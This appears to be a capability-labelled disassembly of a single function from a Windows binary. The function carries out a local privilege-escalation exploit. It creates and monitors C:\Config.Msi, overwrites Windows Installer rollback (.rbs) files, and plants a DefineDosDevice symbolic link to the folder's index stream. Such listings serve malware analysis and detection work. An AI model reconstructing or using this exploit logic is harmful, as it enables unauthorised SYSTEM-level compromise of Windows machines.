Function at 0x140001430
Capabilities:
Create directory
Create thread
Get session user name
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x17b0]
mov eax, 0x18b0
call fcn.140016c80
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x17a0], rax
lea rcx, [0x140020898]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x1400014b6
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateFile
mov rcx, rbx
mov qword [0x140026490], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtSetInformationFile
mov rcx, rbx
mov qword [0x140026268], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140026478], rax
cmp qword [0x140026490], 0
je 0x140001ad9
cmp qword [0x140026268], 0
je 0x140001ad9
lea r8, str.C:Config.msi
lea rdx, str.___s
lea rcx, [rsp + 0x70]
call fcn.140001370
mov r9d, 3
lea rcx, [rsp + 0x70]
mov r8d, r9d
mov edx, 0x80010000
call fcn.140002460
mov qword [0x140026488], rax
test rax, rax
jne 0x140001569
lea rcx, str.____Failed_to_create_C:Config.msi_directory._Trying_to_delete_it._n
call fcn.1400013d0
xor ecx, ecx
call fcn.140002550
lea r8, str.C:Config.msi
lea rdx, str.___s
lea rcx, [rsp + 0x70]
call fcn.140001370
mov r9d, 3
lea rcx, [rsp + 0x70]
mov r8d, r9d
mov edx, 0x80010000
call fcn.140002460
mov qword [0x140026488], rax
test rax, rax
je 0x140001590
lea rcx, str.___Successfully_removed_and_recreated_C:Config.Msi._n
call fcn.1400013d0
lea rcx, str.C:Config.Msi
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryEmptyW]
test eax, eax
jne 0x1400015a6
lea rcx, str.____Failed.__C:Config.Msi_already_exists_and_is_not_empty._n
call fcn.1400013d0
mov eax, 1
jmp 0x1400016bd
lea rcx, str.____Failed._Cannot_remove_c:Config.msi
call fcn.1400013d0
mov eax, 1
jmp 0x1400016bd
mov qword [rsp + 0x18c0], rsi
lea rcx, str.___Config.msi_directory_created__n
mov qword [rsp + 0x18c8], rdi
call fcn.1400013d0
mov ecx, 0x104
call fcn.14000a5dc
xor edx, edx
mov qword [0x140026498], rax
mov r8d, 0x104
mov rcx, rax
mov rdi, rax
call fcn.140016fc0
xor esi, esi
lea rcx, [rsp + 0x70]
xor edx, edx
mov dword [rsp + 0x40], esi
mov r8d, 0x208
call fcn.140016fc0
xorps xmm0, xmm0
lea rcx, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.RPCRT4.dll_UuidCreate]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x60]
call qword [sym.imp.RPCRT4.dll_UuidToStringW]
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov ecx, dword [rsp + 0x40]
call fcn.14000a5dc
lea rdx, [rsp + 0x40]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov r9, qword [rsp + 0x48]
lea rdx, str.C:users_s_appdatalocal_temp_s
mov r8, rbx
lea rcx, [rsp + 0x70]
call fcn.140001370
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrCatW]
mov rdx, qword [0x140026498]
lea rcx, str.___Directory:__ls_n
call fcn.1400013d0
mov rcx, qword [0x140026498]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400016dd
mov rdx, qword [0x140026498]
lea rcx, str.____Cannot_create__ls_directory__n
call fcn.1400013d0
mov eax, 1
mov rsi, qword [rsp + 0x18c0]
mov rdi, qword [rsp + 0x18c8]
mov rcx, qword [rbp + 0x17a0]
xor rcx, rsp
call fcn.1400026f0
mov rbx, qword [rsp + 0x18d0]
add rsp, 0x18b0
pop rbp
ret
mov rcx, qword [0x140026498]
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov edx, 0xc0010000
mov dword [rsp + 0x28], 0x6200000
mov r8d, 7
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140026480], rax
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400016a8
xor edx, edx
lea rcx, [rbp + 0x390]
mov r8d, 0x410
call fcn.140016fc0
mov r9d, 4
lea rdx, [rbp + 0x390]
mov r8d, 0x208
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFinalPathNameByHandleW]
lea r8, [rbp + 0x390]
lea rdx, str.127.0.0.1c__ls
lea rcx, [0x140025e50]
call fcn.140001370
mov r9, qword [0x140026480]
lea r8, [0x140002270]
xor edx, edx
mov qword [rsp + 0x28], rsi
xor ecx, ecx
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x1400026b0]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0xf
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [0x140026488]
lea rdx, [0x140001e20]
call fcn.1400010b0
mov rbx, rax
test rax, rax
je 0x140001890
mov qword [rsp + 0x28], rsi
lea r8, [0x140001b00]
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rbx + 0x50]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbx + 0x58]
test rcx, rcx
je 0x14000184e
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
mov rcx, qword [rbx + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolWait]
mov qword [rbx + 0x58], rsi
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x140001861
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x20], rsi
mov rcx, qword [rbx]
cmp rcx, 0xffffffffffffffff
je 0x140001877
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], 0xffffffffffffffff
mov edx, 0x68
mov rcx, rbx
call fcn.14000274c
nop dword [rax]
nop dword [rax + rax]
lea r8, str.C:Config.msi
lea rdx, str.___s
lea rcx, [rsp + 0x70]
call fcn.140001370
mov edx, 0x80070000
lea rcx, [rsp + 0x70]
mov r9d, 3
mov r8d, 7
call fcn.140002460
mov qword [0x140026488], rax
test rax, rax
je 0x140001890
mov dword [rsp + 0x58], esi
lea rbx, str..rbs
nop word [rax + rax]
mov qword [rsp + 0x38], rsi
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x30], rsi
lea rdx, [rbp + 0x7a0]
mov qword [rsp + 0x28], rcx
mov r9d, 1
mov rcx, rax
mov dword [rsp + 0x20], 1
mov r8d, 0xffe
call qword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
mov eax, dword [rbp + 0x7a8]
lea r8, [rsp + 0x50]
shr rax, 1
lea rcx, [rbp + 0x7ac]
mov edx, 0x104
mov word [rbp + rax*2 + 0x7ac], si
call qword [sym.imp.api_ms_win_core_path_l1_1_0.dll_PathCchFindExtension]
mov rdx, qword [rsp + 0x50]
mov rax, rsi
nop dword [rax + rax]
movzx ecx, word [rdx + rax*2]
inc rax
cmp cx, word [rbx + rax*2 - 2]
jne 0x140001ab2
cmp rax, 5
jne 0x140001950
mov rcx, qword [0x140026488]
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov edx, 1
mov qword [rsp + 0x28], rsi
mov r8d, 0x20000004
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
mov rcx, qword [0x140026488]
call fcn.1400020e0
test eax, eax
je 0x140001992
lea r8, str.C:Config.msi
lea rdx, str.___s
lea rcx, [rsp + 0x70]
call fcn.140001370
mov edx, 1
lea rcx, [rsp + 0x70]
mov r9d, 2
mov r8d, 7
call fcn.140002460
lea r8, [rbp + 0x7ac]
mov rdi, rax
lea rdx, str.C:Config.msi_s
lea rcx, [rbp + 0x180]
call fcn.140001310
mov qword [rsp + 0x30], rsi
lea rcx, [rbp + 0x180]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov r8d, 7
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r8d, dword [0x1400264b0]
xor r9d, r9d
mov rdx, qword [0x1400264a8]
mov rcx, rax
mov rbx, rax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
lea rdx, str.____Failed_to_overwrite_rbs_file__n
lea rcx, str.___Rollback_file_overwritten__n
cmove rcx, rdx
call fcn.1400013d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140001fd0
lea r8, str.__C:Config.msi::_INDEX_ALLOCATION
mov ecx, 0xf
lea rdx, [0x140026270]
call qword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
test eax, eax
je 0x140001abe
lea r8, str.__C:Config.msi::_INDEX_ALLOCATION
lea rdx, [0x140026270]
lea rcx, str.___Symlink__ls_____ls_deleted__n
call fcn.1400013d0
xor eax, eax
jmp 0x1400016ad
mov rax, qword [0x140026488]
jmp 0x1400018e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.error_:_d_n
call fcn.1400013d0
xor eax, eax
jmp 0x1400016ad
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cannot_load_apis__d_n
call fcn.1400013d0
xor ecx, ecx
call fcn.140005fb8
int3